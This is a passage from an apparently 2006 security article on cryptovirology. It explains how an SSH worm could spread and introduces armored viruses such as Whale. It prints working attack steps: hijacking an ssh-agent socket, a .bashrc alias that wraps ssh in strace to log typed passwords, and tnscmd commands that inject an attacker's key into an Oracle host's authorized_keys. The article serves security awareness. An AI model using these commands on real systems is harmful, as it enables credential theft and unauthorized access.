2006-05-08
Article continued from Page 1
Now that we know how to spot interesting target very accurately, as an SSH worm we also need to spread onto these targets. As previously stated, the worm could use an exploit against SSH, either for the server or the client, but as we will see, there are also others ways.
Probably the easiest way is to borrow the ssh-agent of a user:
>> export SSH_AUTH_SOCK=/tmp/ssh-DEADBEEF/agent.1337 >> export SSH_AGENT_PID=1007
Lately, another feature has appeared in SSH that is very interesting and would require very little effort for an attacker to abuse. It is now possible to multiplex several SSH sessions into a single TCP connexion. So, you login once on a remote host, and all subsequent connexions to the same host are done using the already existing connection. This feature is configurable by every user:
~/.ssh/config
Host GetinMeForFree
ControlMaster auto
ControlPath ~/.ssh/currents/%r@%h:%p
So, if a connection to host GetinMeForFree already exists, the worm has nothing more to do to connect to this system.
The worm can also abuse the trust that users put in cryptography and steal their "unbreakable" passwords or passphrases. Using the poor man's keylogger, strace, is enough for that. For instance, we replace the ssh command by an alias in ~/.bashrc:
# new ssh command put in ~/.bashrc alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
The worm the just has to wait for the keys to the kingdom, shown as follows:
connect(3, sa_family=AF_INET, sin_port=htons(22),
sin_addr=inet_addr("192.168.0.103"), 16)
write(5, "Password:", 9) =9
read(5, "b", 1) =1
read(5, "e", 1) =1
read(5, "e", 1) =1
read(5, "r", 1) =1
read(5, "\n", 1) =1
This works the same when getting a passphrase put on a private key, usually found in ~/.ssh/id_[dsa|rsa].
Another trick has already been used by previous malware: embed a brute force password application. And currently, this is a very common attack against SSH. If you look at your log files you will undoubtedly see:
Feb 9 23:25:14 localhost sshd[14236]: Failed password for root from 80.95.161.86 port 58645 ssh2 Feb 9 23:25:17 localhost sshd[14238]: Failed password for invalid user admin from 80.95.161.86 port 58806 ssh2 Feb 9 23:25:23 localhost sshd[14313]: Failed password for invalid user guest from 80.95.161.86 port 59243 ssh2 Feb 9 23:25:26 localhost sshd[14351]: Failed password for invalid user webmaster from 80.95.161.86 port 59445 ssh2 Feb 9 23:25:29 localhost sshd[14364]: Failed password for invalid user oracle from 80.95.161.86 port 59445 ssh2
The worm could also use weaknesses in other applications, especially if it succeeds in injecting or overwriting a file on the remote target. If the worm can send its own public key on the target's ~/.ssh/authorized keys, and assuming this kind of authentication is authorized, it just has to connect to the remote host.
Web applications are a good first target for this approach, as many of them allow us to write on the remote target. However, for this example we will look at an old, well known flaw in Oracle, which seems exactly what we need for our worm.
In previous versions of Oracle, there was a component called TNS Listener which accepts direct connections and commands without any authentication. [ref 3] So, the idea is to connect to that listener, change the logfile to ~/.ssh/authorized keys, send a buggy command (such as the worm's key) which will be logged in the new logfile ... and it's game over.
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=
(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/ora92/.ssh/authorized_keys)))"
>>tnscmd -h 192.168.0.103 -p 1521 --rawcmd "(CONNECT_DATA=
((ssh-dss AAAAB3NzaC1kc3D...Ckuu4=raynal@poisonivy.gotham"
Hence, thanks to cryptography and its double-edged sword, it is quite easy for an attacker to spot targets with great accuracy. Moreover, thanks to users themselves, it is not that difficult to intrude into these targets. And combining this with local flaws, the spreading of an SSH worm is entirely possible. More people need to be aware of this approach so they can defend against it.
The efficiency of such a worm is limited, as there are not really that many SSH servers around, and therefore not so many potential targets. But imagine what it would be if there was a system with similar features and many, many users...
A matter of time: armored viruses
Before concluding part one of this article series, we'll introduce armored viruses and then revisit these concepts again at the beginning of part two.
When one deals with attack and defense, time is a very critical factor. Usually code or data ciphering is used in order to protect intellectual property in software. The code or data are ciphered to prevent anybody from reading it, and a key is given before execution to get the clear text. Several layers of encryption can be stacked, and the code or data can be partially deciphered at a given time in memory. These techniques are used either to fingerprint the software or for license protection.
Unfortunately, similar techniques are also used in malware, and for almost the same purposes. Let us summarize the life of malware when it spreads.
One day when the malware is detected, it is regarded as new code to be analyzed. When the analysis is completed, signatures and heuristics are created to enable anti-virus software to block this malware. Then, the signatures and heuristics are provided to end-users through auto-updates of the software. New copies of the malware are immediately detected and cleaned when they reach a target. So, the conclusion is therefore when malware spreads, it dies..
In order to avoid this "problem," a malware writer must delay, or even forbid, the analysis of his malignant creature. A virus employing techniques to avoid or delay the analysis becomes what is called an armored virus.
The first public armored virus fulfilling this goal was called Whale and first spread sometime in September 1990. It combined several techniques:
- Polymorphism: both the binary and the process were ciphered (there were 30 hardcoded versions).
- Stealth: several interruptions, including debugging ones, are hooked by Whale, and it also hides in high memory before decreasing the max limit of memory known by DOS, which was prominent at the time.
- Armoring: the code changes depended on the architecture (8088 or 8086), had intense use of obfuscation (useless code, identical conditions, redundant code, and so on) and had what is known as anti-debug (if a debugger is detected, the keyboard is blocked and Whale kills itself).
If these techniques are common nowadays, almost sixteen years later, one can imagine what happens then when such a piece of code reaches the labs of the anti-virus companies.
Next time, in part two, we'll dive deeper into armored viruses by looking at shape shifting, or polymorphism and metamorphism. Then we'll go further and discuss a Bradley virus, a type of virus that cannot be analyzed. And additionally we'll look at the popular Skype application and how attackers are already trying to use its closed protocol, built-in crypto as a vector for stealthy virus attacks.
Concluding part one
In this article, the concepts behind cryptovirology were defined as we try to understand the methods uses by crytovirus authors. Two examples were discussed, weaknesses in the the SuckIt rookit and the potential for a future SSH worm.Next time in part two we will look at some of the latest virus attempts to be stealthy and avoid detection and analysis. A continued discussion of armored viruses will be followed by the concept of a Bradley worm, an un-analyzable virus that uses cryptography. Skype will be used as an example of application with embedded cryptography and a closed protocol that can be manipulated by an attacker. Until then.
References
[ref 1] Malicious Cryptography: Exposing Cryptovirology
A. Young, M. Yung, , Wiley, 2004 ISBN 0764549758
[ref 2] Malicious Malware: attacking the attackers, part 2
Thorsten Holz and Frederic Raynal, Security Focus, Feb 2, 2006.
[ref 3] Security with Oracle (PDF), P. Lagadec, SSTIC 2005
